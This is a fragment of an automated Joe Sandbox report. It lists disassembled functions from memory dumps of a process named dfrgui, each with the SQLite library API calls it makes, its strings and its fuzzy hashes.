Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_result_errorsqlite3_result_error_codesqlite3_result_textsqlite3_value_int
String ID:
API String ID: 2838836587-0
Opcode ID: 7a1af8179303211107d89f16b87f953ec3da3de4a159af8c9c71f8942b00b500
Instruction ID: e7e2d8419c0fd305c4ca8e5831b7174966073de055ad9435788a944697c27d6f
Opcode Fuzzy Hash: 7a1af8179303211107d89f16b87f953ec3da3de4a159af8c9c71f8942b00b500
Instruction Fuzzy Hash: BF5183B5A047599FCB00DFA9C48469EBBF0BF88324F10C92AE858AB344D734E945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E27B9B Relevance: 10.6, APIs: 7, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 61E27BE4
sqlite3_value_bytes.SQLITE3 ref: 61E27BF1
sqlite3_value_blob.SQLITE3 ref: 61E27C13
sqlite3_value_blob.SQLITE3 ref: 61E27C22
sqlite3_value_text.SQLITE3 ref: 61E27C2B
sqlite3_value_text.SQLITE3 ref: 61E27C3D
memcmp.MSVCRT ref: 61E27C8C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_blobsqlite3_value_bytessqlite3_value_text$memcmp
String ID:
API String ID: 2264764126-0
Opcode ID: d058a993af42cb86fea1a59e7da52d3455e748a7fe53b1c3e3552f745b78ea45
Instruction ID: 2bc8c59c20b8d22348804299da9c5a1c24a6c61704392f4113c65ddbd9dc0220
Opcode Fuzzy Hash: d058a993af42cb86fea1a59e7da52d3455e748a7fe53b1c3e3552f745b78ea45
Instruction Fuzzy Hash: AC319071E046568FDB049FB9C4A16ADBFF0AF9D314F24C469E8A9AB300D735E842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3DE06 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3DE50
sqlite3_value_text.SQLITE3 ref: 61E3DE7F
sqlite3_result_error_nomem.SQLITE3 ref: 61E3DEA4

Part of subcall function 61E3D74F: sqlite3_mprintf.SQLITE3 ref: 61E3D764
Part of subcall function 61E3D74F: sqlite3_result_error.SQLITE3 ref: 61E3D77A
Part of subcall function 61E3D74F: sqlite3_free.SQLITE3 ref: 61E3D782

Strings

set, xrefs: 61E3DE37
insert, xrefs: 61E3DE32

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_error_nomem
String ID: insert$set
API String ID: 832408550-3711289001
Opcode ID: 22ec8db78650d714ea153c20f8bb89faedf6b494268b674d19264ca8e54fe863
Instruction ID: b9c3dc24dbb6817829647f4c551625551972ac0dfb1156bc8e73c09a67f4bc36
Opcode Fuzzy Hash: 22ec8db78650d714ea153c20f8bb89faedf6b494268b674d19264ca8e54fe863
Instruction Fuzzy Hash: 9F317A78E042A89BCB01DFA9C484AADBBF5BFC4318F65C419E8948B310DB34E845CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E38029 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E38054
sqlite3_result_error.SQLITE3 ref: 61E380B7

Strings

J, xrefs: 61E3812C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_error
String ID: J
API String ID: 497837271-1141589763
Opcode ID: 776c6b12fb92b453155899d7e7b4b63c15b2a233bbd98b9ae10a4f187657ade1
Instruction ID: d5ab37abe87de12d08c4c65baee3c62806a24f3b398c886ddf247d612400a361
Opcode Fuzzy Hash: 776c6b12fb92b453155899d7e7b4b63c15b2a233bbd98b9ae10a4f187657ade1
Instruction Fuzzy Hash: FA318234B04396DBD710AF78C884B5DBBA0AFC5318F20CA2CE8998B345C735E946CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E3797E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E379A4
sqlite3_value_bytes.SQLITE3 ref: 61E379AE
sqlite3_value_text.SQLITE3 ref: 61E379D8
sqlite3_value_bytes.SQLITE3 ref: 61E379E3
sqlite3_result_error.SQLITE3 ref: 61E37A23

Strings

null, xrefs: 61E379C2

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_error
String ID: null
API String ID: 1955785328-634125391
Opcode ID: 877016cdb49361483166d0af10926027aa7f353452168b97c94bb9a143c6fc88
Instruction ID: d38e2393cbaae2010e3b464f23cf9a6ca21f8809dd423587f2abdb1933e7326b
Opcode Fuzzy Hash: 877016cdb49361483166d0af10926027aa7f353452168b97c94bb9a143c6fc88
Instruction Fuzzy Hash: 5611EB71F482918AD7006E69989436ABFD2DBC6238F69C57ED5448B344D235C893C386

Uniqueness

Uniqueness Score: -1.00%

Function 61E29A22 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 61E253DF: sqlite3_log.SQLITE3(?,?,?,?,?,61E25492), ref: 61E2541A

sqlite3_mutex_enter.SQLITE3 ref: 61E29A51
sqlite3_value_text16le.SQLITE3 ref: 61E29A65
sqlite3_value_text16le.SQLITE3 ref: 61E29A93
sqlite3_mutex_leave.SQLITE3 ref: 61E29AA7

Strings

out of memory, xrefs: 61E29A27, 61E29A49
bad parameter or other API misuse, xrefs: 61E29A38

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text16le$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: bad parameter or other API misuse$out of memory
API String ID: 3568942437-948784999
Opcode ID: e533917cea8f60075104c594b201468363092a471e17021898fd5eb174904ce8
Instruction ID: 4f83a1541461600fcc814bbf17c255940e095cc3e55fbf6510267c773f91b2bc
Opcode Fuzzy Hash: e533917cea8f60075104c594b201468363092a471e17021898fd5eb174904ce8
Instruction Fuzzy Hash: 7101ED75A043518BEB00AFB984D0559BBE4AF85758F2988BDDD88CF305DB35C8409791

Uniqueness

Uniqueness Score: -1.00%

Function 61E3FF3E Relevance: 9.4, APIs: 6, Instructions: 376stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E40359
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 61E40391
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 61E403AA
sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 61E403E1
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 61E403FA
sqlite3_free.SQLITE3 ref: 61E4040D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_logstrcmp
String ID:
API String ID: 2202632817-0
Opcode ID: 6091edd5d97de220f433419f4cba27847e171edb7d6e55858525e84243593899
Instruction ID: b5f3af8407019cf5c9f60102fb113b8279f904bc166830355339d2a9aeb7eb5e
Opcode Fuzzy Hash: 6091edd5d97de220f433419f4cba27847e171edb7d6e55858525e84243593899
Instruction Fuzzy Hash: 92F1D374A042498FDB05CFA9D48079EBBF1BF99318F24C529D858EB349E774E846CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E158C1 Relevance: 9.3, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E158D8
sqlite3_msize.SQLITE3 ref: 61E15AA0
sqlite3_msize.SQLITE3 ref: 61E15AAE
sqlite3_msize.SQLITE3 ref: 61E15ABC
sqlite3_msize.SQLITE3 ref: 61E15ACA
sqlite3_mutex_leave.SQLITE3 ref: 61E15C21

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_msize$sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 2585109301-0
Opcode ID: 65d7490dd0b911d0b53f661dc170e52bef7320915fe207cb9d14685b6eccf493
Instruction ID: 67cc383b3c8e22962a4279b0897a8604d37e7930bb2ddf7651c2defaf36316ac
Opcode Fuzzy Hash: 65d7490dd0b911d0b53f661dc170e52bef7320915fe207cb9d14685b6eccf493
Instruction Fuzzy Hash: 01B104B1A05206CFDB04CF68C48179AB7B1BF8A318F29C569DC59AB309D730E852CF90

Uniqueness

Uniqueness Score: -1.00%

Function 61E93A80 Relevance: 9.2, APIs: 6, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69915a3cf6f5bd11527f1b70253990bf9f428d4a55d8e5d5535bdce1c946631c
Instruction ID: 4a4d23ea1d2da0c3227055c0f80493f3b1e5e60790a9d0fe2fdd13b82a939518
Opcode Fuzzy Hash: 69915a3cf6f5bd11527f1b70253990bf9f428d4a55d8e5d5535bdce1c946631c
Instruction Fuzzy Hash: 90814575A05A519FEB10DFB9C58064DBBF2BF85354F248829E889DB304E730E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D14C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E3D16D

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_free.SQLITE3 ref: 61E3D2B9
sqlite3_free.SQLITE3 ref: 61E3D2C1

Part of subcall function 61E39581: sqlite3_free.SQLITE3 ref: 61E39590
Part of subcall function 61E39581: sqlite3_vmprintf.SQLITE3 ref: 61E395A2

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_vmprintf$sqlite3_initializesqlite3_mprintf
String ID:
API String ID: 2044204354-0
Opcode ID: a402e3786245dd91493d6f8c20e556d28bddd2b8c07d5d249a0b468e9d7df43d
Instruction ID: 0df2ba22e1c41b1321572ced752d9e0370086dd2162d1ed707089ea3c3e7a13a
Opcode Fuzzy Hash: a402e3786245dd91493d6f8c20e556d28bddd2b8c07d5d249a0b468e9d7df43d
Instruction Fuzzy Hash: 284106B4A082599FDB00DFA9D4806AEBBF4BF88714F60C92EE858D7354EB34D801CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E366D8 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E366E8

Part of subcall function 61E19649: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E192D3,?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19651

memcmp.MSVCRT ref: 61E3675A
memcmp.MSVCRT ref: 61E3677F
memcmp.MSVCRT ref: 61E367A9
memcmp.MSVCRT ref: 61E367D8
memcmp.MSVCRT ref: 61E36804

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_initializesqlite3_malloc
String ID:
API String ID: 40721531-0
Opcode ID: e17c067860422a930f2f18dac6a6708e861f0145f77e8dc98f5c2863f5af3501
Instruction ID: 1a82dc28c26c7554558e836386c3c7f06488bbd59839a2eb5f4cd8c9e5445806
Opcode Fuzzy Hash: e17c067860422a930f2f18dac6a6708e861f0145f77e8dc98f5c2863f5af3501
Instruction Fuzzy Hash: 27414FB1A083518BE7119FA9C68435ABEF5AFCC348F25C82DD8548B384E775D986CB42

Uniqueness

Uniqueness Score: -1.00%

Function 61E261C7 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 61E261E9
sqlite3_value_text.SQLITE3 ref: 61E26217
sqlite3_result_error.SQLITE3 ref: 61E26245
sqlite3_value_text.SQLITE3 ref: 61E26264
sqlite3_value_text.SQLITE3 ref: 61E26272
sqlite3_result_int.SQLITE3 ref: 61E262A2

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_errorsqlite3_result_intsqlite3_value_bytes
String ID:
API String ID: 4226599549-0
Opcode ID: 812d07d9ffdc0142b3f055340a06c817b9fb6102bd29dc3d07d8cc26d0b0171b
Instruction ID: 2f487907c559b38c155134f1e76fbd5b547cbfdf323574b3e9c07f517c933560
Opcode Fuzzy Hash: 812d07d9ffdc0142b3f055340a06c817b9fb6102bd29dc3d07d8cc26d0b0171b
Instruction Fuzzy Hash: BB212A75904786CBCB10DFA9C59059EBBF1BF89214F20CA2DE8A897394E734D841CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3B368 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3B37F
sqlite3_result_error.SQLITE3 ref: 61E3B3AE
sqlite3_value_text.SQLITE3 ref: 61E3B3C3
sqlite3_load_extension.SQLITE3 ref: 61E3B3DE
sqlite3_result_error.SQLITE3 ref: 61E3B3F9
sqlite3_free.SQLITE3 ref: 61E3B404

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_errorsqlite3_value_text$sqlite3_freesqlite3_load_extension
String ID:
API String ID: 356667613-0
Opcode ID: 59fd11023c358aa7b7423dbfaff7a8eae9ddc03d95e01c71eda2a1058f075d76
Instruction ID: ba843798ccaabf1b70d79c8ede2eca779a9ff5c90759cf791d1dee651b3eff40
Opcode Fuzzy Hash: 59fd11023c358aa7b7423dbfaff7a8eae9ddc03d95e01c71eda2a1058f075d76
Instruction Fuzzy Hash: C311E4B4D087569BC700AF69C48455EFBF5AFC9264F21CA5DE8A887350E334D841CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E0EF99 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

sqlite3_strglob.SQLITE3 ref: 61E0EFFF
sqlite3_strglob.SQLITE3 ref: 61E0F019
sqlite3_strglob.SQLITE3 ref: 61E0F041

Strings

, xrefs: 61E0EFE0
, xrefs: 61E0F056

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strglob
String ID: $
API String ID: 476814121-227171996
Opcode ID: 33820386dec3e326c2617a32b3c3b0025bd204f8290915e3dd00a17aae7a7805
Instruction ID: 9d3e1207c980ed52d915300f8809f88af37aa68daf4c5c017b94f7ece096e1ef
Opcode Fuzzy Hash: 33820386dec3e326c2617a32b3c3b0025bd204f8290915e3dd00a17aae7a7805
Instruction Fuzzy Hash: 102128615083924ADB218FBAC98034ABEF4BF4631AF34C4ADD5D58B295E378E4A1C747

Uniqueness

Uniqueness Score: -1.00%

Function 61E1999A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E199B4

Part of subcall function 61E19649: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E192D3,?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19651

sqlite3_stricmp.SQLITE3 ref: 61E199FC
sqlite3_stricmp.SQLITE3 ref: 61E19A23
sqlite3_free.SQLITE3 ref: 61E19A51

Strings

ra, xrefs: 61E199C8

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
